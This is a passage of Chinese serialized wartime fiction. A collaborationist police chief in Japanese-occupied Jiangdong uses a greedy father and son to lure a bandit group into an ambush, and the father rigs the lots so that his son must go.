“松井队长,您慢走,您慢走!” 送走松井直树之后,孙竹刚再次回到审讯室。 面对冥顽不化的李二狗,孙竹刚也有些心急。 如果日本人执意要杀李二狗,他也是完全没有办法。 他深深地叹了一口气,朝周边的人挥了挥手,让其他人都离开了审讯室。 “二狗啊,刚才你都听见了吧?如今江东已经变了天,日本人说什么就是什么,你如果还是这么执迷不悟的话,我也救不了你啊。” “执迷不悟?”李二狗冷笑道,“不当汉奸就是执迷不悟?孙县长,你真是让我长了不少见识啊。” 面对李二狗的冷嘲热讽,孙竹刚并不恼怒,他想要在日本人统治下的江东站稳脚,确实离不开李二狗的扶持。 “二狗,当年满族人入主中原,多少投降的汉人被骂作汉奸,可现在满族已经成为咱们中国的一个民族,当初那些投降的汉人,他们还是汉奸吗?” 孙竹刚又在发挥他诡辩的才能。 “以目前的态势,相信用不了多久,日本就会统治整个东亚地区,到时候整个东亚会是一个统一的多民族国家,我们和日本人都是一样的人,根本就不存在什么汉奸!” 李二狗真想把这个臭不要脸的孙竹刚咬的狗血淋漓。 但有一点孙竹刚说得没错,如果他不答应出任维持会会长,日本人肯定会枪毙他。 其实他并不怕死! 只是他现在有些后悔让张二驴去清风集团找陈老三。 他了解陈老三的脾气,一旦他得知自己被日本人抓起来的消息,肯定会带领整个集团的兄弟来救自己。 可清风集团的那些兄弟是日本人的对手吗? 国民政府的那些正规军都不是日本人的对手,更何况这群缺乏训练和战斗经验的土匪? 说白了他们就是一群只会种地的农民。 此刻,李二狗后悔极了。 他为了一己之私,竟然让整个集团的兄弟为自己冒险,甚至送命,他实在是太自私了。 可让他当汉奸,哪怕是虚于应付,他也心如刀绞。 不明真相的群众肯定会骂他李二狗十八代祖宗。 可上千条性命和自己的名声比起来,孰轻孰重,李二狗心里和明镜似的。 李二狗已经做好了当汉奸的准备。 但现在他不准备答应孙竹刚,如果自己态度转变的太快,一定会引起孙竹刚的怀疑。 他准备在日本人设定的期限到来之前再答应孙竹刚,那时候一切都顺理成章! “孙县长,你不要再说了,我是不会答应你的。” “二狗,你可要三思啊!” 第623章 胡世仁父子再次举报李二狗 李二狗把脸转向墙角,他看到斑驳的墙皮上沾着几点干涸的血渍。 他不再说话,喉咙里像堵着一团烧红的炭火,孙竹刚那句“为你好”,听着比鬼子的刺刀还令他扎心。 李二狗不想再理会孙竹刚,他痛苦地闭上了眼睛。 他现在满脑子都是陈老三。 陈老三是个火爆脾气,前两年在清风寨,为了抢回被别的山头掠走的粮食,他带着七个弟兄就敢闯人家的老巢,被砍得浑身是伤也没皱一下眉。 这次自己被抓,以陈老三的性子,为了把自己救出来,怕是能立刻带领着清风集团近千名弟兄来攻打江东县城。 他太了解陈老三这个人了,就像当年的自己一样,为了兄弟义气,根本不顾后果。 可秀才不会这样。 李二狗的嘴角几不可察地动了动。 秀才那双时常眯起的眼睛里,藏着比清风山脚下那个山涧还要深的心思。 当年自己挑选清风集团总经理时候,按照常理来说,确实该让陈老三当,毕竟他们之间是过命的交情,可李二狗却最终选择了秀才。 不为别的,就因为秀才懂得“忍”。 他知道什么时候该进,什么时候该退,知道一千杆枪攥在手里,该往哪儿打才最有力。 这次自己被抓,秀才定会先派几个机灵的弟兄混进县城,摸清楚日本宪兵队的布防,摸清楚日本人的底细,绝不会让弟兄们白白送死。 “任人唯亲,绝对走不长远……”李二狗在心里不禁感叹道。 当年清风寨一无所有的时候,靠的是弟兄们的血和命拼出来的地盘,可真要把清风集团发展成能跟日本人抗衡的势力,光靠兄弟交情是远远不行的。 必须得有规矩,得有脑子,得像秀才那样,把账本算得比谁都精,把人心看得比谁都透。 孙竹刚见李二狗一直闭着眼睛不说话,自觉没趣的他只好先行离开,他知道李二狗虽然倔强,但绝不是一个不懂变通的人。 “二狗,你好好想一想,想好了让门外的来告诉我,我先走了。” 孙竹刚的脚步声在门外消失之后,牢房里彻底静了下来,只有铁窗棂被风刮得“吱呀”作响。李二狗慢慢地闭上眼睛,眼前晃过当年清风寨的篝火,晃过胡家大院的青砖黛瓦,晃过弟兄们晒得黝黑的脸。 他不是怕死,只是不甘心。 他还没有看到日本鬼子被赶出中国的那一天。 还没看到弟兄们放下枪,回家种几亩薄田,娶个媳妇生个娃,过上太平安稳的日子。 他舍不得爱自己的那些女人们……她们需要自己! “也许,得走一步险棋了……” 李二狗在心里默念着,眼皮不自觉地动了几下。 与此同时,日军驻江东宪兵司令部的门口,胡世仁正抖得像一片秋风里的落叶。 他那件洗得发灰的绸衫被冷汗浸得贴在背上,领口歪歪斜斜地挂着,露出松垮垮的脖子,喉结像一只受惊的兔子,一上一下地蹿动着。 “什么地干活?” 一个站岗的日本士兵端着上了刺刀的步枪,枪尖离胡世仁的胸口只有一寸远,黄皮军靴踩在地上发出“咯噔咯噔”的声响,仿佛踩在了胡世仁的心尖上。 日本士兵的眼睛瞪得像铜铃,脸上的横肉随着问话突突地跳动。 胡彪出人意料地往前跨了半步,把他爹挡在身后。 这是他第二次来这儿,上次来举报胡家大院也是在这里。 现在他虽也怕得腿软,却比胡世仁镇定一些。 他脸上堆着比哭还难看的笑容,嘴角的那道疤跟着往上翘。 “皇军,良民,我们是大大的良民!”他一边说一边往宪兵司令部里瞅,“我们是来举报的,举报仙人洞镇胡家大院的管家李二狗,他……他通匪!” 站岗的日本士兵眉头拧成了一个疙瘩,嘴里叽里呱啦地吼了几句,胡世仁和胡彪一个字也听不懂。 这个日本鬼子是个死心眼,他只知道上级的命令是不允许闲杂人等靠近宪兵司令部,尤其是可疑的中国人,更不能让靠近。 日本鬼子见他们两人没反应,突然把枪往前一顶,刺刀几乎要戳到胡彪的胸口。 “这里,军事重地!你们快快地离开!不然,死啦死啦地!” “死啦死啦地”这几个字,胡彪还是听得懂的。 他的脸“唰”地白了,下意识地往后缩了缩,却又咬着牙没动。 他绝不能走。 李二狗要是倒了,胡家大院那几千亩地,那宽敞明亮的大院子,就都是他们父子俩的了。 当年被胡士高排挤时受的气,这几年在乡下受得苦,都得靠这次捞回来。 胡世仁却被日本鬼子那明晃晃的刺刀吓破了胆,拽着胡彪的胳膊就往回拖。 “彪子,走,咱们走!日本人不是善茬,咱不惹这麻烦……”他的声音颤抖的厉害,眼泪都快下来了,“那李二狗再不是东西,也犯不着咱们拿命去拼啊……” “爹!你慌啥?”胡彪甩开他的手,眼睛瞪得溜圆,“再等等!这可是咱们唯一翻身的机会!”他转向那个日本鬼子,使劲挤出谄媚的笑容,手舞足蹈地比划着。 “皇军,李二狗,坏!他通匪!清风寨,土匪!”他怕对方听不懂,还学着狗叫了两声,“汪汪汪……李二狗,大大地坏!” 胡彪滑稽的模样不仅没让日本鬼子明白,反倒惹得他更加地不耐烦。 “八嘎!”日本鬼子猛地把枪往地上一顿,枪托砸在水泥地上“哐当”作响,“滚!再不滚,老子开枪了!” 胡彪虽然听不懂日本鬼子的话,但也明白鬼子的意思,他的脸彻底没了血色。 他没想到这站岗的日本鬼子如此“不负责任”,连举报都懒得听。 胡世仁趁机拽着他就往胡同口跑,嘴里还念叨着:“我说啥来着?快走,再不走命都没了……” 刚跑出没两步,身后传来一个声音:“站住!你们在这儿吵什么?” 胡彪猛地回头,眼睛顿时亮了。 是富志高! 第624章 富志高的阴谋诡计 江东县警察局局长富志高,跟着孙竹刚当了汉奸,目前还是警察局局长。 他穿着一身黑色警服,正慢悠悠地从日军宪兵司令部里走出来。 “富局长!富老总!”胡彪甩开他爹的手,像见了救星似的扑过去,脸上的褶子都堆成了花,“我们要举报!我们有大案子要举报!” 富志高停下脚步,眼皮抬了抬。 他认识胡世仁,当年胡家大院兴旺时,这老头仗着是胡士高的二叔,在县城里吃喝嫖赌,好不潇洒,后来和胡士高闹掰后,就再没见过。 至于胡彪,更是一个游手好闲的混子,除了偷鸡摸狗,他想不出这父子俩能有什么“大案子”。 “你们举报什么?”富志高的声音慢悠悠的,带着一点拿捏的腔调。 他早年在日本留过学,说话时总爱夹几个生硬的日语词,此刻却全用中文,显然没把这父子俩放在眼里。 “我们举报仙人洞镇胡家大院的管家李二狗!”胡彪凑得更近了,声音压得低低的,却难掩兴奋,“他暗中勾结清风寨的土匪,藏了好多枪,想反抗皇军!” “李二狗?”富志高的眼睛闪过一丝精光。 他对李二狗太熟悉了。 他是孙竹刚的结拜兄弟,听说还是清风寨的实际掌控者,手里握着近千号人马和数不清的枪,在江东县地面上,比他这个警察局长还横。 以前有孙竹刚护着,他动不了李二狗,只能眼睁睁看着他在江东的地面上作威作福。 现在不一样了。 日本人占了江东县城,孙竹刚虽还是县长,却跟李二狗闹了掰。 如今李二狗已经被抓进了宪兵队,这可是自己立功的天赐良机。 富志高的嘴角勾起一抹不易察觉的笑意。 如果能坐实李二狗通匪的罪名,日本人绝不会放过他。 而清风寨的那群土匪,没了李二狗掌舵,就是一群没头的苍蝇,到时候他带兵去剿了,既能在日本人面前邀功,又能吞下清风寨的地盘和枪支,简直是一箭双雕。 “哦?你们有证据吗?”富志高故作严肃地问道,眼神却在胡世仁和胡彪脸上来回逡巡。 “有!有证据!”胡彪急忙从怀里掏出那封信,双手捧着递过去,“这是我们从胡家大院的二管家张二驴身上搜出来的,是李二狗写给清风寨土匪陈老三的!” 富志高接过信,看了眼信封上“陈老三亲启”那几个歪歪扭扭的字,心里更有底了。 陈老三是清风寨的二当家,出了名的火爆脾气,这封信十有八九是李二狗在给清风寨报信。 他打开里面的信,信里却只有“持信人可信”五个字,这如何能证明李二狗通匪? 不过富志高作为江东县警察局局长,并不是一个简单的人。 他立马分析出这是李二狗在被日本人抓走后,派人给清风寨送信,让他们想办法救自己。 “持信人可信”五个字,说明谁持有这封信上清风寨就能取得陈老三的信任,无论持信人说什么,陈老三都会相信。 富志高想到这,高兴坏了。 他抬眼看向那两个站岗的日本鬼子,用流利的日语说了几句,大概意思是“这两个人有重要情报,我带进去问话”。 日本鬼子立刻收了枪,给他们闪开了一条道。 “跟我来。”富志高把信揣进怀里,转身往日军宪兵司令部里走,脚步迈得不紧不慢,一副成竹在胸的样子。 胡世仁和胡彪赶紧跟了上去,腰弯得像两只小虾米。 胡世仁一边走一边偷偷打量四周,日军宪兵司令部的院子里停着几辆挎斗摩托,几个日本鬼子正擦着机枪,枪身上的寒光晃得他眼睛发花,腿肚子又开始转筋。 富志高把他们带进一间空荡荡的屋子,里面只有一张桌子和两把椅子,墙角堆着几个木箱,散发出一股霉味。 “富局长,日本人呢?”胡彪东张西望,见屋里没穿黄军装的,忍不住问道,“我们要当面跟皇军举报,李二狗那小子……” 富志高在桌子后面坐下,给自己倒了一杯茶,慢悠悠地抿了一口,才抬眼看向他。 “你急什么?有我在,还怕告不倒他?” 富志高心里有自己的小算盘。 李二狗已经被抓了,现在举报他通匪,最多是让他多挨几顿打,早点上西天,对自己没多大好处。 可要是能借此机会剿灭清风寨的土匪,日本人一定会高看他几眼。 “你们说李二狗通匪,”富志高放下茶杯,眼神变得锐利起来,“那你们可知,清风寨现在有多少人?多少枪?陈老三平时住在哪个山头?” 胡彪被问得一愣,挠了挠头:“这……这我们就不知道了。我们就知道李二狗跟他们有来往,这封信就是证据啊!” 胡世仁也赶紧点头:“对对对,我们只知道这些,别的真不清楚……” 富志高心里冷笑一声,果然是两个蠢货。 但他脸上没露,反而笑了笑,语气放缓了些:“没关系,你们再好好想想,比如李二狗平时跟谁来往密切?比如清风寨的人什么时候会下山?想起来了就告诉我,少不了你们的好处。” 他知道对付这种人,得用甜头勾引。 果然,胡彪的眼睛亮了:“好处?富局长,有啥好处?” “只要你们能帮皇军剿灭清风寨,”富志高靠在椅背上,慢悠悠地说道,“胡家大院的产业,说不定就能赏给你们。” “真的?”胡世仁和胡彪异口同声地喊道,眼睛里都放出贪婪的光,刚才的恐惧早被抛到了九霄云外。 富志高没回答,只是端起茶杯,眼睛里闪过一丝算计的光。 他要让这两个蠢货当枪使,替他摸清清风寨的底细。 等剿灭了清风寨,这父子俩也就没用了,到时候随便找个由头,就能让他们消失得无影无踪。 胡世仁和胡彪还在兴奋地盘算着怎么分胡家大院的产业,完全没注意到富志高嘴角那抹冰冷的笑容。 “我有一计,只要你们按照我的安排去做,事成之后,胡家大院一定是你们的。” 富志高招手让他们走近一些,把自己的计划告诉了他们。 第625章 父子反目 富志高的话音刚落,胡世仁的脸就“唰”地一下白了,他手里的那根文明棍也“哐当”一声杵在地上,差点没扶住他的身子。 “富局长,这……这可万万使不得啊!”他连连摆手道,“那清风寨是什么地方?那是一个吃人不吐骨子的地方啊,我们爷俩要是去了,不就跟小绵羊进了老虎窝一样吗?肯定是骨头渣子都剩不下啊!” 胡彪站在一旁,脸色比他爹还难看,嘴角的那条疤都跟着抽搐了两下。 “是啊,富局长,您这个主意实在太冒险了!”他咽了一口唾沫,声音颤抖的厉害,“让我们去清风寨冒充送信人,这……这要是被陈老三那伙土匪发现了,不得把咱们大卸八块了之后扔到荒郊野外喂狗啊?我们……我们真不能答应啊。” 富志高坐在椅子上,慢悠悠地捻着手里的一串黄花梨佛珠,眼皮都没有抬一下。 他早就料到这父子俩会是这副熊样。 平日里干些偷鸡摸狗的勾当还行,如今真要让他们干点担风险的事,比登天还难。 “老胡啊,”他抬眼瞥了胡世仁一眼,语气里带着一点嘲讽,“胡家大院那偌大的家业,良田千亩,有磨坊、米铺、当铺,还有库房里那些粮食,你以为是那么容易就能到手的吗?你不为皇军做点什么,皇军凭什么把胡家大院赏给你们?” 这话就像一根钩子,一下子就勾住了胡世仁的痒处。 他的喉结动了动,眼神里闪过一丝贪婪,可想到要去土匪窝,还是难以下定主意。 “可……可也不能拿命换啊!钱再多,得有命花不是?” “俗语说得好,舍不得孩子套不着狼,舍不得老婆套不着流氓。” 富志高往椅背上一靠,说得轻描淡写。 “机会就这么一次。你们好好想一想,这事要是成了,日本人赏下来的好处,再加上胡家大院的产业,你们爷俩这辈子,不,下辈子都够了!吃喝嫖赌,想买啥买啥,想娶几房姨太娶几房姨太,何等逍遥快活?” 胡彪的眼睛亮了,娶几房姨太太?他早就看村里王屠户的小女儿顺眼了,只是没钱纳妾。 要是真能发这笔财……可一想到清风寨那些满脸横肉的土匪,他又打了个寒颤。 富志高顿了顿,加重语气继续动之以情,晓之以理。 “你们要是错过了这次机会,别说胡家大院,你们爷俩能不能在江东县继续待下去,都很难说,那李二狗是一个睚眦必报的人,你们想想,他能放过你们爷俩吗?” 这句话戳到了胡世仁父子的心窝处,他们和李二狗是你死我活的关系,必须置李二狗于死地。 “我也不为难你们,你们父子二人不用都去,只要去一个人就行了。” 胡彪心里不禁一动,他下意识地瞅了一眼胡世仁。 “爹,你说这……这可咋办啊?” 他看向胡世仁,盼望着胡世仁此刻能主动站出来,为儿子去争这一生的荣华富贵。 胡世仁心里也在打鼓。 一边是唾手可得的荣华富贵,一边是掉脑袋的风险,天平左摇右晃,怎么也稳不下来。 如果胡彪能主动前往清风寨,不管他能不能活着回来,日本人肯定不会亏待了他们家。 他瞅了瞅胡彪,突然叹了一口气。 “彪子,爹老了,黄土都埋到脖子了,这事……这事还得你拿主意啊。” 他这话听着是让儿子做主,实则把担子全推给了胡彪。 成了,他跟着享福;败了,送死的也是胡彪。 胡彪哪能听不出这意思,他的脸一下子就沉了。 “爹,您说这话是啥意思?”他梗着脖子,“我还年轻啊!我今年才二十五岁!我还没活够呢!您忍心让我去清风寨冒险?” “彪子,爹都这把年纪了,”胡世仁立刻怼了回去,腰杆刻意挺了挺,“你忍心让我这把老骨头去喂狼?我要是有个三长两短,你们活着能安生吗?” “爹,您都这把年纪了,由着您活,您还能活几年?”胡彪急了,声调都高了许多,“我不一样!我还有老婆孩子!我要是死了,他们娘仨喝西北风去?” “你想活,我就不想多享受享受?”胡世仁也来了气,文明棍在地上戳得“咚咚”响,“我辛苦了一辈子,还没尝过当老爷的滋味呢!凭啥就得让我去送死?” “我到底是不是你亲儿子?”胡彪瞪着眼,胸口起伏得厉害。 “我到底是不是你亲爹?”胡世仁也瞪回去,脖子上的青筋都鼓了起来。 “我看你根本就不是我亲爹!” “我看你根本就不是我亲儿子!” “我是不是您亲儿子,你得回家问我娘去!”胡彪口不择言地喊道。 “你……你这兔崽子!”胡世仁气得浑身发抖,举起文明棍就往胡彪身上抽。 胡彪早有防备,一把抓住棍梢,使劲一夺。 那文明棍是红木做的,被两人拽得“咯吱咯吱”响。 “要不是看你是我爹,我早就……” 他话没说完,却也不敢再说下去,只是死死地攥着棍子,眼神里满是不服气。 哪有当爹的不为儿子考虑的? 不为儿子考虑的爹还是亲爹吗? 这样的爹,认不认也无所谓! 胡彪心里的想法何尝不是胡世仁心里的想法。 富志高在一旁看得直摇头,终于忍不住拍了桌子。 “够了!你们爷俩把老子这当戏台了?在这儿演起滑稽戏来了?我没空看你们瞎折腾!到底干不干?给老子一句准话!” 胡世仁赶紧松开手,脸上堆起谄媚的笑容。 “富局长息怒,息怒!我们爷俩再商量商量,就几分钟,就几分钟!” “我再给你们五分钟!”富志高站起身,脸色铁青,“五分钟后,行就行,不行就赶紧滚蛋!别在老子这儿碍眼!” 他一生气,突然觉得有些尿急,转身快步走了出去,临走时还狠狠地瞪了胡家父子一眼。 屋里只剩下父子俩,气氛瞬间降到冰点。 第626章 姜是老的辣 胡世仁长叹了一口气,尽量让自己的声音变得和蔼起来,却依然带着一些怒气。 “彪子!你刚才说的那叫什么话?当着富局长的面,你就这么跟你老子顶嘴?咱们老胡家在江东也算是书香门第!你老爷爷当年可是中过秀才的!看看你这副德行,书都读到狗肚子里去了?” 胡彪“噗嗤”一声笑了出来,一脸的不服。 “书香门第?爹,您可别往自己脸上贴金了!上梁不正下梁歪,我这德性,还不都是跟您学的?” 他往前凑了凑,眼神里带着一点报复的快意。 “您以为您跟村东头张寡妇、村西头李寡妇、村南头宋寡妇、村北头刘寡妇那点事,我真不知道?我只是懒得说罢了!” “你……你小子胡说八道什么!”胡世仁的脸“唰”地红了,又瞬间变得铁青,气得手指都在颤抖。 他和村里那几个寡妇的事,自以为做得神不知鬼不觉,每次都是深夜前往,还刻意绕着走犄角旮旯,没想到这兔崽子竟然全知道! “我胡说?”胡彪冷笑道,“张寡妇家那只下奶的山羊,还是您偷偷从咱家牵过去的吧?李寡妇那件绸缎褂子,是您拿卖粮的钱买的吧?还有宋寡妇……” “住口!”胡世仁厉声打断了胡彪,脸涨得像猪肝一样,“你小子再敢胡言乱语,老子非打死你不可!” “我劝您还是省省力气吧。”胡彪往后退了一步,抱臂看着他,“真要打,您也未必打得过我。不过话又说回来了,您要是真愿意去清风寨,别说打我,就是打死我,我也心甘情愿。” 胡世仁被噎得说不出话。 他确实不想去冒险,他舍不得丢下那几个寡妇。 张寡妇温柔,李寡妇手活好,宋寡妇巧舌如簧,刘寡妇会唱小曲……个个都让他割舍不下。 他这一把年纪,好不容易有这艳福,怎能甘心就这么白白去送死? “彪子,”他放缓了语气,试图动之以情,“咱们老胡家,一直以诗书传家,以仁孝为本。从你老爷爷那一辈算起,哪一辈不是仙人洞镇的仁孝典范?你现在让我这当爹的去冒险,你忍心吗?你的良心不会痛吗?” “爹,我不是不孝。”胡彪的语气也软了些,却依旧不肯屈从,“可您想想,我那两个孩子,大的才不到十岁,小的刚会走,他们要是没了爹,得多可怜?您忍心让他们变成孤儿吗?” “你不忍心让你儿子变成孤儿,”胡世仁立刻抓住话柄,“就忍心让我的儿子变成孤儿吗?我就你这么一个儿子!我要是有个三长两短,你怎么跟你娘交代?你简直太不孝了!” “爹,您前年偷隔壁村王木匠家的媳妇,被人抓住差点腿被打断的时候,是不是我凑钱去救的您?这还不算孝?” “还有,你去年偷了李大户家的羊羔子,差点被人家打断手,我替你赔钱说好话的时候,怎么没见您说我不孝?” 爷俩你一言我一语,又吵了起来,翻来覆去就是那点陈芝麻烂谷子的事,谁也不肯让步,谁也不想去送死,却又都舍不得胡家大院的家业。 就在这时,富志高从外面走了回来,一进门就听见两人还在吵,顿时火冒三丈,他“啪”地一拍桌子,呵斥道:“你们他娘的还有完没完?” 他指着门口,大声呵斥道:“我再给你们一分钟的时间!一分钟后还决定不了,就直接给老子滚蛋!别怪我没提醒你们,胡家大院那产业,你们知道有多少人盯着吗?我他娘的看着都眼馋!” 这话就像兜头一盆冷水,浇得胡家父子瞬间清醒。 胡世仁知道再这样吵下去根本无济于事,自己不愿意去,儿子也不愿意去,可就此放弃又不甘心。 他眼珠子一转,顿时有了一个主意,拉着胡彪走到墙角,压低声音说道:“彪子,咱爷俩别争了,我看……就让老天爷决定吧。抓阄,谁抓着了谁去,你看怎么样?” 胡彪愣了愣,随即点了点头。 事到如今,也只能这样了。 “行,那就抓阄!”他咬着牙说道,“谁反悔,谁是孙子!” 胡世仁赶紧从怀里摸出一张揉皱的草纸,借了富志高一支笔,在一张纸上画了个“去”字,另一张纸上画了个“留”字,然后把纸团成两个小疙瘩,在手心里晃了晃,递到胡彪面前。 “彪子,爹年纪大,让你先挑。” 胡彪盯着胡世仁手心里的那两个纸团,心里七上八下,仿佛那不是纸团,而是决定生死的催命符。 富志高在一旁看着,嘴角勾起一抹冷笑。 这两个蠢货,到了这时候还在玩这种把戏,真是烂泥扶不上墙。 但他没说话,只是抱着胳膊,等着看这出闹剧的结局。 屋外的风从窗缝里钻进来,卷起地上的灰尘,在阳光里打着旋,像极了这对父子此刻的心思。 肮脏,混乱,又充满了对富贵的贪婪。 胡彪瞅瞅这个,瞅瞅那个,选了半天还是拿不定主意。 “爹,要不还是你先选吧,我年纪小,理应让着您。” “彪子,可是你让爹先选的,到时候可别说爹欺负你。” “那肯定不能,我什么样的人,您是知道的。” 胡世仁从自己手心里抓出一个阄,把手心里剩下的那一个给了胡彪。 胡彪手里攥着阄就像攥着一个烫手的山芋,手止不住地颤抖起来。 “哎,彪子,这都是天意啊。”胡世仁打开自己手里的阄,忍不住感叹道。 “爹,你抓的什么?” 胡世仁把手里的阄紧紧地握在手里,痛心疾首地说道:“哎,你还是看看你手里的阄吧,不是爹不想去,是老天爷可怜你爹这把老骨头啊。” 胡彪听了胡世仁的话顿时愣住了! “哎,苍天无眼啊!”胡世仁再次仰天长啸,愤怒地把手里的阄扔出了窗外。 胡彪打开手里的阄,上面果然写着“去”字,他脚下一个趔趄,差点摔在地上。 第627章 胡彪吓尿 “彪子,你就放心去吧,不要担心家里,一切有爹在。” 胡世仁说着,竟从袖管里摸出一块皱巴巴的帕子,在眼角抹了两下,挤出几滴浑浊的泪。 那模样看着倒有几分父子情深,只是那滴泪在颧骨上挂了半晌,愣是没往下掉。 胡彪低着头,一声不吭。 他刚刚拆开那个纸团,看到“去”字时,心里就凉了半截。 可话是自己说的——“谁反悔谁是孙子”,此刻再反悔,不仅在富志高面前抬不起头,连爹这关都过不去。 他深吸一口气,像是要把满肚子的委屈和恐惧都咽下去,哑着嗓子说道:“爹,那可真是辛苦你了。” 声音里带着不易察觉的哽咽,一半是怕,一半是怨。 富志高坐在一旁,端着茶杯,眼皮都没抬,心里却早已冷笑开了。 刚才是事情,他看得一清二楚, 胡世仁写纸团时,一定是做了手脚。 姜还是老的辣啊,这老狐狸怕是早就在两个纸条上都写了“去”字,横竖都是要把儿子往火坑里推。 胡彪这小子,还是太嫩,被亲爹卖了,还在这儿傻乎乎地认栽。 “其实你们也不用太悲观。”富志高放下茶杯,慢悠悠地开口道,语气里带着一点虚伪的安抚,“不过是去清风寨送个信,跟陈老三说一声李二狗的情况,又不是让你去跟土匪拼命,能有什么风险?” 胡世仁一听这话,脸上的悲戚瞬间散了,换上一副谄媚的笑容,腰弯得就像一只煮熟的虾米。 “富局长说的是,是我们爷俩太胆小了。” 他又凑到富志高跟前,一副奴颜卑骨。 “多谢富局长为我们胡家费心,这份恩情,我们爷俩记一辈子!等拿到胡家大院,定有重谢!” 富志高心里暗骂一声“无耻”。 虎毒还不食子,这胡世仁为了家产,连亲儿子都能豁出去,简直不是人。 他摆了摆手,站起身来说道:“既然人选已定,我这就去跟皇军汇报。你们就等着好消息,准备接收胡家大院吧。” 说罢,他转身就走,懒得再看这对父子的嘴脸。 富志高走后,胡世仁立刻换了一副面孔,拍着胡彪的肩膀,语气“语重心长”。 “彪子啊,富局长都说了没危险,你就放宽心。到了清风寨,机灵点,见了陈老三,多说好话,把信送到就赶紧回来。爹在家给你炖鸡汤,等你凯旋。” 胡彪低着头,眼泪在眼眶里打转,心里堵得像塞了团棉花。 他满脑子都是清风寨那些土匪的模样——满脸横肉,手里拎着血淋淋的刀子,笑起来露出黄黑的牙。 上次他偷偷去一个土匪山寨脚下的村子里偷鸡,被巡逻的土匪逮住,差点被打断腿,还是他媳妇亲自上土匪山寨,说了一晚上好话才把他救回来。 这次让他独自上山,跟送命有什么区别? 可他此刻被悲伤和恐惧冲昏了头,压根没察觉胡世仁眼里那一闪而过的算计。 日本人很快就同意了富志高的计划。 胡彪揣着那封李二狗写给陈老三的信,磨磨蹭蹭地往清风寨的方向走。 山路崎岖,两旁的树林密不透风,阳光都透不进来。 风一吹,树叶“哗哗”作响,像是有人在睡觉时磨牙。 胡彪越往上走,腿肚子越转筋,每走一步都觉得脚下发飘。 他能想象到,那些土匪说不定正趴在树上,眼睛像狼似的盯着他,只要他一哆嗦,就会扑下来把他撕成碎片。 走到半山腰的一块平坦地,胡彪猛地停下了脚步。 他回头望了望山下,一个村庄的轮廓在薄雾里若隐若现。 胡家大院是好,可命没了,有再多钱再多地又有什么用? 他还没活够呢,他的媳妇还那么年轻,他的儿子还没长大,他不能就这么死了。 “不……不能去……” 他喃喃自语,转身就往山下跑,脚步踉跄。 刚跑到山脚下,一道黑影突然从旁边的树林里窜了出来,挡住了他的去路。 “胡彪,你他娘的怎么这么快就回来了?”富志高的声音阴冷,手里握着一把手枪,枪口在阳光下闪着冷光,“信送到了?” 胡彪早已吓得魂飞魄散,腿一软就跪在了地上,结结巴巴地说道:“富……富局长,您就饶了我吧!我不敢去啊!那清风寨的土匪杀人不眨眼,我去了就是送死啊!” 富志高的脸瞬间阴沉下来。 他已经跟日本人报备了计划,日本宪兵队的人此刻怕是已经在县城外埋伏好了,就等清风寨的人下山救人,好一网打尽。 这时候胡彪要是退缩,计划全泡汤不说,日本人怪罪下来,他这警察局长的乌纱帽保不住是小事,怕是连小命都得搭进去。 “胡彪,你他娘的可要想清楚!”富志高一脚踹在胡彪的胸口,把他踹得往后滚了两圈,“日本人都已经出动了,你这时候想退缩?你有几个脑袋够他们砍的?” 胡彪趴在地上,胸口疼得喘不过气,眼泪混合着泥土往下淌。 “我……我真的不敢去啊!富局长,求您了,放我一条生路吧!” 富志高弯下腰,一把揪住他的头发,将他的脑袋拽起来,同时掏出枪,“咔哒”一声打开保险栓,冰冷的枪口死死顶在胡彪的脑门上。 “你再说一声不去,老子现在就一枪毙了你!” 他的眼睛里满是狠戾,没有丝毫玩笑的意思。 胡彪吓得浑身发抖,裤裆里瞬间湿了一片,一股骚臭味弥漫开来。 “富……富局长!我真的不敢去啊!”他哭得鼻涕一把泪一把,声音凄厉,“您不知道那些土匪有多凶残!他们会把人剥皮抽筋的!我害怕啊!” “你以为老子枪里的子弹是泥做的?”富志高的手指扣在扳机上,“你再说一遍不去,我就让你的脑袋开花,省得你在这儿磨叽!” “我……我……”胡彪的牙齿打着颤,话都说不完整。 “少他娘的废话!”富志高厉声喝道,“你今天去也得去,不去也得去!你要是不去,老子不仅枪毙你,你老婆孩子,你爹,你全家老小,一个个都得跟着你陪葬!” 第628章 陈老三上当 “富局长!您不能这样啊!”胡彪绝望地哭喊着,“祸不及家人啊!您高抬贵手,放过他们吧!” “现在知道怕了?”富志高冷笑道,“早干什么去了?要么现在上山送信,要么我现在就送你和你全家上路,你选一个!” 他把枪又往前顶了顶,冰冷的金属触感让胡彪的身体剧烈地颤抖起来。 胡彪知道,自己已经无路可退了。 富志高这种人为了往上爬,什么事都做得出来。 他要是真不去,全家都得死。 他绝望地闭上眼睛,泪水从眼角滚落。 “我去……我去……”他声音轻得像蚊子在翁叫,却带着无尽的无奈。 富志高这才松开手,把枪收了起来,并顺势踢了他一脚。 “这才乖,赶紧上山,要是敢耍花样,你知道下场。” 胡彪瘫在地上,缓了半天,才在富志高的威逼下,踉踉跄跄地重新往山上走。 每一步都像踩在刀尖上,心里只有一个念头:这下死定了。 刚走到半山腰的岔路口,突然从两侧的密林中窜出四个黑影,手里都拿着枪,黑洞洞的枪口对准了他。 “站住!” 一声断喝,吓得胡彪差点瘫倒在地。 他赶紧举起双手,身体抖得像筛糠,哆哆嗦嗦地说道:“别……别开枪!我是来找你们陈老三陈当家的!” 为首的是个络腮胡土匪,上下打量着胡彪,眼神警惕地问道:“找我们陈当家的?你是谁?” “陈当家的”这个称呼,土匪已经很久没听到了。 清风寨早就改叫“清风集团”,陈老三现在不是什么“陈当家的”,平时弟兄们都叫他“陈总”,已经很久没人叫“陈当家的”了。 几个土匪愣了一下,面面相觑,一时没反应过来。 “我……我是李二狗派来的,”胡彪赶紧报上名号,声音抖的厉害,“有重要事情找你们陈当家的汇报。” 一听“李二狗”三个字,土匪们脸色微变。 李二狗是清风集团的老大,虽然现在不在山上,但威望极高。 来人能报出他和陈老三的名字,想必不是骗子。 那个络腮胡小头领挥了挥手,说道:“把他眼睛蒙上,先带上山。” 一个矮个子土匪从兜里掏出一块黑布条,上前粗暴地蒙住了胡彪的眼睛。 胡彪只觉得眼前一黑,随即被人推搡着往前走,脚下磕磕绊绊,心里的恐惧又多了几分。 这要是被推到两侧的山崖,连怎么死的都不知道。 走了约莫十几分钟,脚下的路渐渐平坦了一些。 蒙眼的布条被扯掉,胡彪眯了眯眼,适应了一下光线,发现自己站在一个宽敞的广场上,周围都是穿着短褂子的土匪,手里都拿着枪,眼神不善地盯着他。 “你们两个把他看好了,我去跟陈总汇报。” 络腮胡交代了一句,转身往正屋走去。 陈老三正在聚义厅里烦躁地踱步。 